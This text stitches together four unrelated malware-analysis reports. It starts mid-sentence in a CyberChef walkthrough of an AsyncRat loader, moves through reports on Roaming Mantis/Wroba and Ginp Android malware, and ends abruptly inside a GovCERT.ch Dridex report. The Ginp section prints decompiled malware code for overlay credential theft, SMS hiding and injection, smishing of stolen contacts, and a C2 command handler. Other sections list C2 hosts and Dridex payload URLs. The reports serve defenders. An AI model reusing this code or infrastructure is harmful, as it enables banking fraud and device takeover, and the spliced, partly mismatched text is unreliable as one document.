determined that there were reversed strings scattered throughout the code. This is typically used to evade simple string-based detection and analysis. Below we can see the reversed content. This encoding is simple and is literally just reversing the content of a string. We could perform this operation manually in CyberChef, but like before, we knew it would take a while to deal with all of the reversed values. We decided to do these operations in bulk using CyberChef. Our approach: - Utilize regex to locate the “reversed” values - Use Find/Replace or regex to remove surrounding junk (The StrReverse function name in this case) - Perform the decoding (Utilizing “Reverse” + “by Character”) - Restore the original state (Utilize a merge to undo the subsection) First, we developed the regex to locate only the reversed values. We used the same method as before, utilizing “regular expression” and “highlight matches” until the highlight matched exactly what we needed. An overview of the regex, courtesy of regexper.com. This basically says: - Grab any occurrence of “StrReverse(“ including the opening parenthesis - Grab everything that is not a double quote - Grab the ending double quote and closing parenthesis. We then converted the regex into a subsection and followed a similar methodology to before. ### Obfuscation 3: Replace Building on our last result, we could now see numerous “replace” operations scattered throughout the code. We followed the same process as before: - Use regex to “locate” the “encoded” values - Use a subsection to “act” on the encoded values - Perform the decoding - Restore the script to a clean state We utilized regex to locate our values of interest. This essentially grabs “Replace” followed by the next three values contained in double quotes. After confirming that our regex worked as intended, we converted the regex into a subsection and applied a register. A register would allow us to extract values from the script and store them in “registers”, which are the CyberChef equivalent of variables. In order to apply a register, we applied the same regex as before, but added parentheses around the values that we wanted to store as variables. This concept is also known as a “capture group” if you’re already familiar with regex. We briefly shortened the malware script to better demonstrate this concept. We had successfully extracted values of interest using registers, which we then applied to a find/replace operation. This operation was able to convert the original line into the following. We then restored the full malware script and were able to obtain the following decoded content. ### Obfuscation 4: String Concatenation We then had one final obfuscation remaining. It is arguably the simplest so far and ironically the only one that could not be resolved via CyberChef. Throughout the code are concatenated strings that the malware previously stored in variables. An attempt was made to resolve this using subsections and registers, but ultimately we could not find a solution. We then found a workaround that wasn’t CyberChef, but technically didn’t involve leaving the CyberChef window so it was close enough. Here is the script with the original string concatenations "&". We then replaced the Visual Basic string concatenations (&) with a JavaScript equivalent (+). The concatenated strings can be seen below. This reveals the ultimate intention and purpose of the script, which was to utilize PowerShell to execute a second payload (a batch script) stored on the machine. For the sake of readability and completeness, we manually replaced the last decoded values, leaving this as the final state of the script. ## Conclusion At this point, we considered the script to be fully decoded and proceeded to analyze the remaining .bat script. This .bat script was itself obfuscated, and unraveled itself into another (unsurprisingly) obfuscated PowerShell script. This PowerShell script contained a loader for AsyncRat malware.
# Roaming Mantis Reaches Europe **Authors**: Suguru Ishimaru ## Part VI. 2021 Sees Smishing and Modified Wroba.g/Wroba.o Extend Attacks to Germany and France Roaming Mantis is a malicious campaign that targets Android devices and spreads mobile malware via smishing. We have been tracking Roaming Mantis since 2018 and published five blog posts about this campaign. It’s been a while since the last blog post, but we’ve observed some new activities by Roaming Mantis in 2021, and some changes in the Android Trojan Wroba.g (or Wroba.o, a.k.a Moqhao, XLoader) that’s mainly used in this campaign. Furthermore, we discovered that France and Germany were added as primary targets of Roaming Mantis, in addition to Japan, Taiwan, and Korea. ### Geography of Roaming Mantis Victims Our latest research into Roaming Mantis shows that the actor is focusing on expanding infection via smishing to users in Europe. The campaign in France and Germany was so active that it came to the attention of the German police and French media. They alerted users about smishing messages and the compromised websites used as landing pages. Typically, the smishing messages contain a very short description and a URL to a landing page. If a user clicks on the link and opens the landing page, there are two scenarios: iOS users are redirected to a phishing page imitating the official Apple website, while the Wroba malware is downloaded on Android devices. Based on the telemetry we gathered between July 2021 and January 2022, Wroba.g and Wroba.o have been detected in many regions. The most affected countries were France, Japan, India, China, Germany, and Korea. ### Territories Affected by Trojan-Dropper.AndroidOS.Wroba.g and Trojan-Dropper.AndroidOS.Wroba.o We’d also like to point out some very interesting data on Roaming Mantis landing page statistics published on Internet Week 2021 and GitHub by @ninoseki, an independent security expert based in Japan. The data shows the number of downloaded APK files, landing page domains, and IP addresses located in the seven regions targeted most by Roaming Mantis using Wroba.g/Wroba.o on a particular day in September 2021. #### The Number of Downloaded APK Files and IPs/Domains of Landing Pages | Region | Number of IPs | Number of Domains | Downloads | Impersonated Brand | |----------------|----------------|-------------------|-----------|-----------------------------| | France | 5 | 1,246 | 66,789 | Google Chrome | | Japan | 4 | 539 | 22,254 | Yamato transport | | Germany | 1 | 162 | 2,681 | Google Chrome | | Korea | 2 | 8 | 2,564 | ePOST | | United States | 5 | 123 | 549 | Google Chrome | | Taiwan | 1 | 62 | 302 | 智能宅急便 (Yamato transport in Chinese) | | Turkey | 3 | 5 | 27 | Google Chrome | ### Anti-Researcher Tricks in the Landing Page Throughout 2020 and 2021, the criminal group behind Roaming Mantis made use of various obfuscation techniques in the landing page script in order to evade detection. In addition to obfuscation, the landing page blocks the connection from the source IP address in non-targeted regions and shows just a fake “404” page for these connections. The user agent checking feature has not been changed in the landing page since 2019; it evaluates the devices by user agent, redirecting to the phishing page if the device is iOS-based, or delivering the malicious APK file if the device is Android-based. ### Technical Analysis: Loader Module of Wroba.g/Wroba.o We performed in-depth analysis of Wroba.g/Wroba.o samples and observed several modifications in the loader module and payload, using kuronekoyamato.apk as an example. First, the actor changed the programming language from Java to Kotlin, a programming language designed to interoperate fully with Java. Then, the actor removed the multidex obfuscation trick. Instead of this, the data structure of the embedded payload was also modified. The first eight bytes of the data are junk code, followed by the size of the payload, a single-byte XOR key, the encrypted payload, and more junk code. Furthermore, an ELF file was embedded in the APK file: it uses Java Native Interface (JNI) for the second stage payload, for decryption and also part of the loading feature. The decryption process and algorithms are just three steps as follows: First, the loader function takes each section of data from the embedded data, except the junk data. Then, the encrypted payload is XORed using the embedded XOR key. After the XOR operation, as with previous samples, the data is decompressed using zlib to extract the payload, a Dalvik Executable (DEX) file. The following simple Python script helps to extract the payload: ```python #!/usr/bin/env python3 import sys import zlib import base64 data = open(sys.argv[1], "rb").read() key = data[11] size = data[10] | data[9] << 8 | data[8] << 16 enc = data[12:12+size] dec_x = bytes(enc[i] ^ key for i in range(len(enc))) dec_z = zlib.decompress(dec_x) with open(sys.argv[1]+".dec","wb") as fp: fp.write(dec_z) ``` In this sample, the decrypted payload is saved and executed to infect the malicious main module on victim devices. ### Technical Analysis: Payload of Wroba.g/Wroba.o Regarding the updates to the Wroba.g/Wroba.o payload, Kaspersky experts only observed two minor updates in the payload part. One of them is the feature for checking the region of the infected device in order to display a phishing page in the corresponding language. In the old sample, it checked for three regions: Hong Kong, Taiwan, and Japan. However, Germany and France were added as new regions. From this update, together with the map above, it is clear that Germany and France have become the main targets of Roaming Mantis with Wroba.g/Wroba.o. Another modification is in the backdoor commands. The developer added two backdoor commands, “get_photo” and “get_gallery,” as well as removing the command “show_fs_float_window.” Overall, there are 21 embedded backdoor commands. These new backdoor commands are added to steal galleries and photos from infected devices. This suggests the criminals have two aims in mind. One possible scenario is that the criminals steal details from such things as driver’s licenses, health insurance cards, or bank cards, to sign up for contracts with QR code payment services or mobile payment services. The criminals are also able to use stolen photos to get money in other ways, such as blackmail or sextortion. The other functions of the payload are unchanged. ### Conclusion It has been almost four years since Kaspersky first observed the Roaming Mantis campaign. Since then, the criminal group has continued its attack activities by using various malware families such as HEUR:Trojan-Dropper.AndroidOS.Wroba, and various attack methods such as phishing, mining, smishing, and DNS poisoning. In addition, the group has now expanded its geography, adding two European countries to its main target regions. We predict these attacks will continue in 2022 because of the strong financial motivation. ### MD5 Hashes of Wroba.o - 527b5eebb6dbd3d0b777c714e707659c - 19c4be7d5d8bf759771f35dec45f267a - 2942ca2996a80ab807be08e7120c2556 - 4fbc28088b9bf82dcb3bf42fe1fc1f6d - 0aaf6aa859fbdb84de20bf4bf28a02f1 - 5bafe0e5a96b1a0db291cf9d57aab0bc - ddd131d7f0918ece86cc7a68cbacb37d
# Technical Analysis of Ginp Android Malware ## Unpacking When we open the sample in a decompiler such as `jadx-gui`, we will see it is nop code and obfuscated code which makes the analysis of the code more difficult and it’s an indicator that the sample is packed. We can use APKiD or droidlysis to detect which packer it is. After running any of the previous tools against the sample, the packer is `JsonPacker`. We can get the real payload of the malware by using Frida and using this script to hook the running malicious APK in any emulator. Then pull the payload to our host to analyze it. The payload is called `sFB.json`. ## Overlay Attack with Social Engineering Flavor The most interesting part of the Ginp Android malware is the Overlay attack. After installing the malware, it will ask the user— but not politely— to enable Accessibility service. The malware will be able to get the content of the screen and allow any permission it needs to perform malicious actions. After enabling the Accessibility service, the malware will collect information about the installed apps on the device and send it to the C2 server. When a targeted app from the list is opened, the malware will notify the C2 server that the user opened this app, then the C2 server sends a command `start_inj` to the malware to perform the Overlay attack and open a WebView to steal login credentials and credit card information. The targeted app names are found in the payload code. ```java public void onCreate(Bundle bundle0) { super.onCreate(bundle0); if (this.getIntent().getExtras() != null) { this.pkg = this.getIntent().getExtras().getString("pkg"); } Dialog dialog0 = new Dialog(this); this.dialog = dialog0; dialog0.setContentView(0x7F030001); try { Window window0 = this.dialog.getWindow(); if (window0 != null) { window0.setBackgroundDrawable(new ColorDrawable(0)); window0.setLayout(-2, -2); window0.setGravity(0x30); window0.clearFlags(2); } } catch (NullPointerException unused_ex) { return; } WebView webView0 = (WebView) this.dialog.findViewById(0x7F020000); webView0.setWebViewClient(new WebViewClient()); webView0.loadUrl(this.store.get(this, "URL") + "push.php?pkg=" + this.pkg); ((LinearLayout) this.dialog.findViewById(0x7F020003)).setOnClickListener((/* MISSING LAMBDA PARAMETER */) -> { if (ActivityWebViewPush.this.dialog.isShowing()) { ActivityWebViewPush.this.dialog.dismiss(); } ActivityWebViewPush.this.Tools.startInj(ActivityWebViewPush.this, ActivityWebViewPush.this.pkg); ActivityWebViewPush.this.finishAndRemoveTask(); }); this.dialog.setCanceledOnTouchOutside(true); this.dialog.show(); Utils.playNotification(this, 1, false); } ``` But what if the user didn’t open any targeted apps? Here is the trick: The malware can push a fake notification containing some text, for example, "there’s something wrong with your account and you need to check" something to lure the user and the icon of a targeted app so that the user opens the target app. This way, the malware ensures that the user will open the app. ```java protected void onHandleIntent(Intent intent0) { try { int v = (int) System.currentTimeMillis(); NotificationManager notificationManager0 = (NotificationManager) this.getSystemService("notification"); String s = intent0.getStringExtra("title"); String s1 = intent0.getStringExtra("content"); String s2 = intent0.getStringExtra("googleIcon"); int v1 = s2 == null || (s2.equals("true")) ? 0x7F010001 : 0x7F010000; this.Tools.Log(this, "Showing notification, Title: " + s + ", Text: " + s1, Boolean.valueOf(true)); String s3 = "ch_" + v; if (Build.VERSION.SDK_INT >= 26) { NotificationChannel notificationChannel0 = new NotificationChannel(s3, s3, 4); notificationChannel0.setDescription("channel-description"); notificationChannel0.enableLights(true); notificationChannel0.setLockscreenVisibility(1); notificationChannel0.enableVibration(true); notificationChannel0.setVibrationPattern(new long[]{100L, 200L, 300L, 400L, 500L, 400L, 300L, 200L, 400L}); notificationChannel0.setBypassDnd(true); notificationChannel0.setShowBadge(true); if (notificationManager0 != null) { notificationManager0.createNotificationChannel(notificationChannel0); } Notification.Builder notification$Builder0 = new Notification.Builder(this, s3).setSmallIcon(v1).setAutoCancel(true).setBadgeIconType(v1).setContentTitle(s).setChannelId(s3).setContentText(s1); if (notificationManager0 != null) { notificationManager0.notify(v, notification$Builder0.build()); } } else { Notification notification0 = new Notification.Builder(this).setContentTitle(s).setContentText(s1).setAutoCancel(true).setSmallIcon(v1).build(); if (notificationManager0 != null) { notificationManager0.notify(v, notification0); } } try { TimeUnit.MILLISECONDS.sleep(30000L); } catch (InterruptedException unused_ex) { return; } if (notificationManager0 != null) { notificationManager0.cancelAll(); return; } } catch (Exception unused_ex) { return; } } ``` Another trick is to push SMSs to the user containing some text to lure the user to open the targeted app that the malware wants. This is both mind-blowing and scary. ```java private void WriteSms(String s, String s1) { ContentValues contentValues0 = new ContentValues(); contentValues0.put("address", s1); contentValues0.put("date", Long.valueOf(System.currentTimeMillis())); contentValues0.put("body", s); Boolean boolean0 = Boolean.valueOf(false); contentValues0.put("read", boolean0); contentValues0.put("seen", boolean0); this.getContentResolver().insert(Telephony.Sms.Inbox.CONTENT_URI, contentValues0); Intent intent0 = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT"); intent0.putExtra("package", this.store.get(this, "SMSDefaultApp")); this.startActivityForResult(intent0, 0x14B06); } ``` ## Persistence After installing the malware, it will hide its icon and only the name of the malware MediaPlayer is visible. After enabling the Accessibility service, the malware will hide the icon and the name of the malware. If the user goes to the app from the settings, the malware will bring the screen to the Home screen and disable Play Protect, not to label it as malicious and it won’t delete the malware. This happens because you enabled Accessibility service, so don’t enable Accessibility service next time. ```java protected void onCreate(Bundle bundle0) { super.onCreate(bundle0); Bundle bundle1 = this.getIntent().getExtras(); if (bundle1 != null && (bundle1.getBoolean("CLOSE"))) { this.Tools.Log(this, "[Activity Play Protect] Redirecting to Google Play Services", Boolean.valueOf(false)); this.Tools.goToPlayStoreSomething(this, "com.google.android.gms"); this.finish(); return; } } ``` ## Steal SMSs and Contacts then Smishing The malware will try to steal the stored SMSs from the user’s device and send them to the C2 server using the `ALL_SMS` command. It will also steal all the contacts and send them to the C2 server using the `GET_CONTACTS` command. After stealing the contacts, the malware will try smishing these stolen contacts by sending spam SMS messages to download malicious apps using the `SEND_SMS` command. ```java public void run() { try { String s = this.phoneNumbers; if (s != null) { boolean z = s.contains(":"); int v = 0; if (!z) { this.Tools.Log(this.ctx, "[SMSSender] Sending SMS: " + this.message + " to " + this.phoneNumbers, Boolean.valueOf(false)); this.sendMSG(this.phoneNumbers, this.message); return; } String[] arr_s = this.phoneNumbers.split(":"); this.Tools.Log(this.ctx, "[SMSSender] Sending SMS: " + this.message + " to " + arr_s.length + " numbers.", Boolean.valueOf(false)); while (v < arr_s.length) { String s1 = arr_s[v]; Thread.sleep(0x460L); this.sendMSG(s1, this.message); ++v; } } } catch (Exception unused_ex) { return; } } ``` ## Hide SMSs The malware will hide SMSs by enabling itself to be the default messaging app. When an SMS comes, the malware will receive the SMS and will not push a notification to the user’s device. ```java protected void onHandleIntent(Intent intent0) { Utils.doWait(1000L); Boolean boolean0 = Boolean.valueOf(true); if (!Utils.checkAccess(this)) { this.Tools.Log(this, "[ServiceHiddenSMS] Accessibility not running.", boolean0); this.store.set(this, "ENABLE_HIDDEN_SMS", "false"); this.stopSelf(); return; } if (!Utils.hasThisPermission(this, "sms")) { this.Tools.Log(this, "[ServiceHiddenSMS] No permissions", boolean0); this.store.set(this, "ENABLE_HIDDEN_SMS", "false"); this.stopSelf(); return; } ServiceHiddenSMS.isRunning = true; try { Bundle bundle0 = intent0.getExtras(); if (bundle0 != null && !bundle0.getBoolean("HIDDEN")) { this.setOurAppAsHidden = false; } } catch (Exception unused_ex) { return; } this.Tools.Log(this, "[ServiceHiddenSMS] Starting SMS Manager changer", boolean0); int v = 0; while (true) { String s = Telephony.Sms.getDefaultSmsPackage(this); if ((this.setOurAppAsHidden && this.Tools.isDefaultSMSApp(this)) || (!this.setOurAppAsHidden && !this.Tools.isDefaultSMSApp(this))) { this.Tools.Log(this, "<font color=lime>Current SMS Messenger is: " + s + "</font>", boolean0); ServiceAccessibility.autoClickForSmsManager = false; ServiceHiddenSMS.isRunning = false; this.stopSelf(); return; } ServiceAccessibility.autoClickForSmsManager = true; if (v > 15) { this.Tools.Log(this, "[ServiceHiddenSMS] Too many retries...", boolean0); ServiceAccessibility.autoClickForSmsManager = false; ServiceHiddenSMS.isRunning = false; this.stopSelf(); return; } this.Tools.Log(this, "[ServiceHiddenSMS] Asking for SMS Change", Boolean.valueOf(false)); ++v; Intent intent1 = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT"); intent1.addFlags(0x10000000); intent1.addFlags(0x40000000); intent1.putExtra("package", this.getPackageName()); this.startActivity(intent1); Utils.doWait(2000L); } } ``` ## Commands These are not all the commands received by the malware from the C2 server: ```java try { JSONObject jSONObject2 = new JSONObject(s5); if (jSONObject2.has("COMMAND")) { String s6 = jSONObject2.getString("COMMAND"); RunnablePingServer.errorsCount = 0; if (s6.equals("NEW_URL")) { // Update the C2 server URL String s7 = jSONObject2.getString("URL"); globalService0.Tools.Log(globalService0, "[COMMANDS] Set new URL to: " + s7, Boolean.valueOf(true)); globalService0.store.set(globalService0, "URL", s7); } else if (s6.equals("CHANGE_URL")) { String s8 = jSONObject2.getString("URL"); globalService0.Tools.changeMainURL(globalService0, s8); } else if (s6.equals("TAKE_SCREENSHOT")) { globalService0.Tools.takeScreenshot(globalService0); } else if (s6.equals("UNLOCK_PLAYSTORE")) { // disable play protect globalService0.Tools.unlockPlayStore(globalService0); } else if (s6.equals("SAVE_LOGCAT")) { // save logs file from the device globalService0.Tools.saveLogCat(globalService0); } else if (s6.equals("KILL")) { // to disable the bot globalService0.Tools.killBot(globalService0); } else { boolean z1 = s6.equals("START_INJ"); // start performing the overlay attack if (z1) { String s11 = jSONObject2.getString("PKG"); globalService0.Tools.startInj(globalService0, s11); } else if (s6.equals("START_APP")) { // to open any app String s12 = jSONObject2.getString("PKG"); globalService0.Tools.startApp(globalService0, s12); } else if (s6.equals("GET_APPS")) { // get installed apps on the device globalService0.Tools.getInstalledApps(globalService0); } else if (s6.equals("UNINSTALL_APP")) { // uninstall any specific app String s13 = jSONObject2.getString("PKG"); String s14 = jSONObject2.getString("SELF"); globalService0.Tools.uninstall(globalService0, s13, s14); } } } } catch (Exception e) { // Handle exception } ``` ## IoC - **APK hash:** 0ea7462bec3d1f3166513468b8f0df4cbce347a12985337bc07880889003d348 - **Payload (sFB.json) hash:** 4f731ee9f2785ebeb155edebd23d14e555c9bf4758fa7f02db634d55f9441710 - **C2 server:** - http://advancedbuffs.top/ - http://insideluck.cc/ - greedythomas[.]top ## Yara Rule ```yara rule Ginp { meta: author = "@muha2xmad" date = "2022-09-21" description = "Ginp android malware" version = "1.0" strings: // packed sample strings $unp1 = "com.common.note" nocase $unp2 = "com.truly.suggest" nocase $unp3 = "/download-protection" nocase $unp4 = "com.truly.suggest.ServiceAccessibility" nocase $unp5 = "com.truly.suggest.useless.____ServiceShowNotification" nocase $unp6 = "com.truly.suggest.ServiceHiddenSMS" nocase $unp7 = "com.truly.suggest.ServiceMessenger" nocase $unp8 = "com.truly.suggest.ServiceInjectLocker" nocase // payload strings $p1 = "api202" nocase $p2 = "mp32" nocase $p3 = "2.8f" nocase $p4 = "http://advancedbuffs.top/" nocase $p5 = "http://insideluck.cc/" nocase $p6 = "getFile_b0bffe7506764da001745457d16fe6e8.php" nocase $p7 = "getPhoto_b0bffe7506764da001745457d16fe6e8.php" nocase $p8 = "greedythomas.top" nocase condition: uint32be(0) == 0x504B0304 // APK file signature and ((all of ($unp*)) or (all of ($p*))) } ``` ## Article Quote "ﺮﻤﻘﻟا ﻚﺑ رﺪﯾ ﻢﻟو كاﻮﻗ ترﺎﺧ ،ﻪﺌﻔﻄﺘﻟ ﺮﻤﻘﻟا ﻰﻠﻋ ﺎﺨﻓﺎﻧ ﺎﯾ" ## References - ThreatFabric analysis on Ginp - securityintelligence analysis on Ginp - droidlysis - APKiD - Frida
# The Rise of Dridex and the Role of ESPs Last week, we warned Swiss citizens about a new malspam run targeting exclusively Swiss internet users. The attack aimed to infect them with Dridex, a sophisticated eBanking Trojan that emerged from the code base of Bugat / Cridex in 2014. Despite takedown attempts by the security industry and several arrests conducted by the FBI in 2015, the botnet is still very active. In 2016, MELANI / GovCERT.ch became aware of a handful of highly sophisticated attacks against small and medium businesses (SMB) in Switzerland aiming to steal large amounts of money by targeting offline payment software. During our incident response in 2016, we identified Dridex as the initial infection vector, which arrived in the victim’s mailbox via malicious Office Word documents, and uncovered the installation of a sophisticated malware called Carbanak, used by the attacker for lateral movement and conducting the actual fraud. Between 2013 and 2015, the Carbanak malware was used to steal approximately 1 billion USD from banks worldwide. ## The Traditional Dridex Spam Runs Dridex’s main infection vector is malspam. Unlike most spam that arrives in internet users’ mailboxes every day, spam mails distributing Dridex don’t originate from compromised machines (so-called spambots) but rather from infrastructure rented by the attackers for the exclusive purpose of sending out their malspam mails. As the IP addresses and domain names used to distribute Dridex are under the attackers' control, all state-of-the-art methods are available to ensure the infrastructure and the distributed spam emails look legitimate, thereby bypassing common spam filters. For example, Dridex spam usually originates from the IP space of hosting companies with a valid rDNS record matching the sender’s domain name. Additionally, the sending domain names all have a valid SPF record matching the sender's IP address. Nevertheless, spam filter and DNSBL providers have caught up in recent weeks, doing a better job in detecting mails distributing Dridex, marking them as spam. Therefore, we have seen fewer Dridex malspam emails being delivered to internet users’ mailboxes recently than before. ## The Role of ESPs In the past weeks, we could lean back a bit and watch common spam filters doing a good job identifying and blocking Dridex spam campaigns sent to Swiss internet users every Tuesday to Thursday. However, on Wednesday, February 15, 2017, the game changed. Shortly after noon, we saw a huge spike in emails being delivered to our spam traps. A first glance at the sender email doesn’t reveal it as spam. Even looking at the email’s header wrongly supports the same: The email has been sent out by SendGrid, a well-known Email Service Provider (ESP) offering email marketing and transactional email services. Many big companies and brands rely on ESPs to ensure that their emails are delivered to their customers’ mailboxes smoothly. As many Fortune 100 companies use an ESP, IP addresses associated with such are often whitelisted at common email servers and DNSBL providers. The reason for this is simple: You can’t blacklist an IP address associated with an ESP as much as you can’t blacklist IP addresses associated with Google or Outlook.com. Otherwise, you might end up blocking thousands of legitimate emails coming from brands that use the ESP’s infrastructure to send emails. The emails we saw hitting our traps on February 15, 2017, pretended to come from Swisscom, Switzerland’s biggest telecommunication provider. The mails claimed to be an e-bill (Rechnung), which isn’t uncommon as Swisscom indeed sends out e-bills via email. But why would Swisscom send an e-bill to our spam traps? And why not just one, but rather thousands within just a couple of minutes? This made us suspicious, so we decided to take a closer look at these emails. The attackers prepared the spam emails very well. The emails looked very similar but weren’t identical. The spam email pretended to be an e-bill from Swisscom to an enterprise customer (SME), while the legit one was sent out by Swisscom to a home user (SOHO). The left (fake) one pretended to come from [email protected], while the right, legit one was sent from [email protected]. As the spam emails targeted enterprise customers (SME), the invoice total was much higher than what a home user expects to be billed. Looking at one of these emails again, it appears that the diacritical characters ä/ö/ü, which are very common in German, are completely missing and replaced by a/o/u. Secondly, the hyperlink “Rechnung einsehen” (which means “review bill”) does not point to a domain name owned by Swisscom but to Microsoft’s SharePoint service. Analyzing all of such emails we received, we were able to collect the following URLs: - https://jensenbowers-my.sharepoint.com/personal/leeanderson_jensenbowers_com_au/_layouts/15/download.aspx?docid=068187f5a930340c89e3b7c5c9b9c24f7&authkey=AarHUbAy66DSX08VzRPQ25w - https://talofinancial-my.sharepoint.com/personal/ashleigh_schipp_talofinancial_com_au/_layouts/15/guestaccess.aspx?docid=07697c8afb3e544808bf527394eb7154b&authkey=Adh6QVItbnSLOpXvxh_BfCs - https://yemposolutions-my.sharepoint.com/personal/amor_novicio_yempo-solutions_com/_layouts/15/guestaccess.aspx?docid=0ce03b9fd12d949cf91f56a7d1fbf4b93&authkey=ASOCPusN_QaBSXcCPxEkT9s Following these links revealed them to serve a ZIP archive called Rechnung.zip containing a JavaScript file with the matching name Rechnung.js. So, is Swisscom sending out JavaScript files to their customers? Not really – we became suspicious. ## The JavaScript Having a look at the JavaScript confirms our suspicion that these emails can’t be legit: The JavaScript files are highly obfuscated. After deobfuscation, the purpose of the script becomes clear. Once executed, the script will download a Windows binary from SharePoint online and execute it. The JavaScript drops the following Windows executable from the said SharePoint URLs: - Filename: line.registr - MD5 hash: 20e10d0c6828e6df0882c043113285d6 - SHA256 hash: e01c0ba8b8e3ad5735bdd15bda5bf449ec9c6167badd7173fca04eb6b41570e2 Doing a quick analysis of the payload reveals the distributed malware as Dridex (version 4.23). Dridex uses different botnets (botnetid). Each botnet has its own configuration file and targets a specific country or a set of countries. The Dridex payload we observed in this campaign could be associated with botnetid 2144, known for attacking customers of financial institutions in Switzerland. Once executed, an infected computer will call out to six different IP addresses that act as botnet command & control servers (C&C) for the Dridex malware. Each of these IP addresses belongs to a compromised server on the internet and forwards the botnet traffic from Dridex infected machines to a tier-2 infrastructure: - 198.167.136.139:443 - 159.226.92.9:4431 - 136.243.209.34:443 - 109.235.76.95:1843 - 209.20.67.87:5353 - 194.150.118.25:3101 A Dridex bot will contact any of these IP addresses and will try to get an updated configuration from the botnet masters. An updated configuration file will contain a new set of botnet controllers, a list of financial institutions in Switzerland for which Dridex redirects the traffic (online fraud), as well as a list of offline payment software (offline fraud). Dridex also sends out a list of installed software to the botnet C&C. If that list includes offline payment software or software that could potentially be used to transfer payment instructions (such as FTP clients), the infected machine (bot) will get flagged, and the C&C might deliver Carbanak. Otherwise, a full-featured version of Dridex is installed. ## Summary of Infection Chain Detection of Dridex infections is hard, as the malware usually only resides in memory. Dridex is only written to disk upon shutdown, which it knows about from hooking Windows’ shutdown API calls. We learned about several cases where Dridex infections were allegedly cleaned up by professional IT services because they did not find traces of Dridex on disk or startup entries related to Dridex. We recommend that infected systems are reimaged (reinstalled) or at least cleaned after booting from a rescue stick. A promising way to detect current or former infections of Dridex is to look at the registry. Dridex stores its configuration in multiple registry keys of the format: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{GUID}\ShellFolder` {GUID} is the textual representation of an id that varies between infected clients. The data is stored as binary data under a name formatted like a GUID. A clean system has fewer (usually one or two) entries that match the pattern. None of the keys should have a GUID-like name or contain binary data. We wrote a small PowerShell script (dridexregistry.ps1) that checks the registry for potential Dridex entries. The script also checks the Appdata/Local and Appdata/LocalLow for binaries that match the pattern of Dridex. As clarified above, these files do not usually exist even on infected systems. - Filename: carbanaktargets.ps1 - MD5 hash: 04a98c92a8b943ee90b6bda921abe0f0 - SHA256: a2b667ccb014ba732e1ad337a582f8aa464b5fa7913ebd8034fe8b6bc6d6009a The script exports the registry key. You may send these exports along to incident response or law enforcement agencies. On an infected system, the output of the script might look as follows: ``` PS C:\Users\victim> dridexregistry.ps1 !!! Host is was/is almost certainly infected by Dridex There are 14 config folders, of which 4 are filled. Written hkcu:\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID to C:\Users\victim\_out\registry.reg Found no Dridex binaries Written Report to C:\Users\victim\_out ``` We also wrote a PowerShell script (carbanaktargets.ps1) that compares the list of installed applications against the 360 products that Dridex looks for to determine if it wants to deliver Carbanak: ``` PS C:\Users\victim> carbanaktargets.ps1 Your system has 'CuteFTP 9' installed, which could trigger Carbanak Your system has 'SeaMonkey 2.46 (x86 en-US)' installed, which could trigger Carbanak Your system has 'StarMoney' installed, which could trigger Carbanak Your system has 'StarMoney 9.0' installed, which could trigger Carbanak Your system could be the target of Carbanak ``` **Disclaimer:** The PowerShell scripts are provided with no guarantee and on a best-effort basis. MELANI / GovCERT.ch cannot be held liable for damages caused by the PowerShell script, false positives, or false negatives. ## Doing Incident Response As a first reaction to the massive spam campaign, we contacted SendGrid, kindly asking them to stop the associated email campaign. We also asked them to explain to us from whom they received the authorization to send on behalf of swisscom.com. We were surprised not to receive any response from SendGrid for 24 hours. We tried to reach them via a phone call, but this turned out to be a dead end too. Another 24 hours passed without any response from SendGrid, so we decided to reach out to them via Twitter. On Twitter, we finally managed to get a response from SendGrid. Unfortunately, it appears that SendGrid was having trouble locating our abuse report. Five more days passed since we sent our initial abuse report to SendGrid. As of today, we are still waiting for official feedback from SendGrid. ## Conclusion Dridex is a sophisticated threat. While it has been around for more than two years, the detection rate by antivirus software is still quite low compared to other threats. The reason for this can be found in the local distribution of the malware – in our case, the focus was on Swiss internet users – and its absence on disk while the computer is running (file-less): Dridex operates exclusively in memory when the computer is running. So there is no way for antivirus programs to detect Dridex on disk. We have also learned that Email Service Providers (ESPs) represent an emerging risk: Many postmasters, spam filter vendors, and DNSBL providers trust email traffic coming from ESPs, either completely whitelisting them or applying a significant negative score (which reduces the chances that an email from an ESP is classified as spam). Botnet operators know this and abuse ESP’s infrastructure to send their malspam campaigns. This way, miscreants can bypass common spam filters and deliver their spam email directly to the victim’s mailbox. ## Recommendations Dridex might be more sophisticated than average malware. However, there are still a few things you can do to protect yourself. ### In general: - You can spot many of these spam mails by simply watching out for Umlauts (äöü). If you receive an email that pretends to be from your bank or telecom provider and contains no Umlauts, but rather the plain letters (aou), you should be careful. - If you are unsure whether the email you received is legit or not, call the sender or contact them via email to verify the purpose of the email. - Never execute macros in office documents you have received via email, even when the sender asks you to do so. Macros may harm your computer! - Use a dedicated computer for eBanking (no matter if you use traditional online banking or an offline payment solution) and do nothing else on this computer. ### For private users: - Always keep your antivirus software up to date. If you use a non-free antivirus, make sure that your antivirus is licensed and if not, renew it or switch to a free antivirus software to receive full protection. - Don’t rely on your antivirus software alone – while it is indispensable, antivirus can’t protect you from everything and does not free you from being careful. - Regularly make a backup of your data. The backup should be stored offline, i.e., on an external medium, such as an external hard disk. Make sure that the medium where the backup is saved is disconnected from the computer after the backup procedure is complete. Regularly test your backups. ### For enterprises: - For payments or wire transfers issued via eBanking, make use of collective contracts. By using collective contracts, every wire transfer needs to be signed and authenticated by a second eBanking contract/login. Ask your bank about the use of collective eBanking contracts. - If you use a hardware token (e.g., SmartCard, USB-Dongle) for authentication or transaction signing, remove it from your device while you are not doing eBanking/payments. - Block the acceptance of dangerous email attachments on your email gateway. These include among others: - .js (JavaScript) - .jar (Java) - .bat (batch file) - .exe (Windows executable) - .cpl (Control Panel) - .scr (screen saver) - .com (COM file) - .pif (program information file) - .vbs (Visual Basic Script) - .ps1 (Windows PowerShell) - .wsf (Windows Script File) - .docm (Microsoft Word with macros) - .xlsm (Microsoft Excel with macros) - .pptm (Microsoft PowerPoint with macros) In addition, all email attachments containing macros (e.g., Word, Excel, or PowerPoint attachments) should be blocked on the email gateway as well. Make sure that such dangerous email attachments are also blocked if they are sent to recipients in your company in archive files such as ZIP, RAR, or even in encrypted archive files. You can obtain additional protection against malware for your IT infrastructure by using Windows AppLocker. This tool allows you to specify which programs are allowed to be run on the computers in your company. Block the download of archives (such as ZIP or RAR) that contain JavaScript code on your web gateway (Web-Proxy). Evaluate the SPF record (Sender 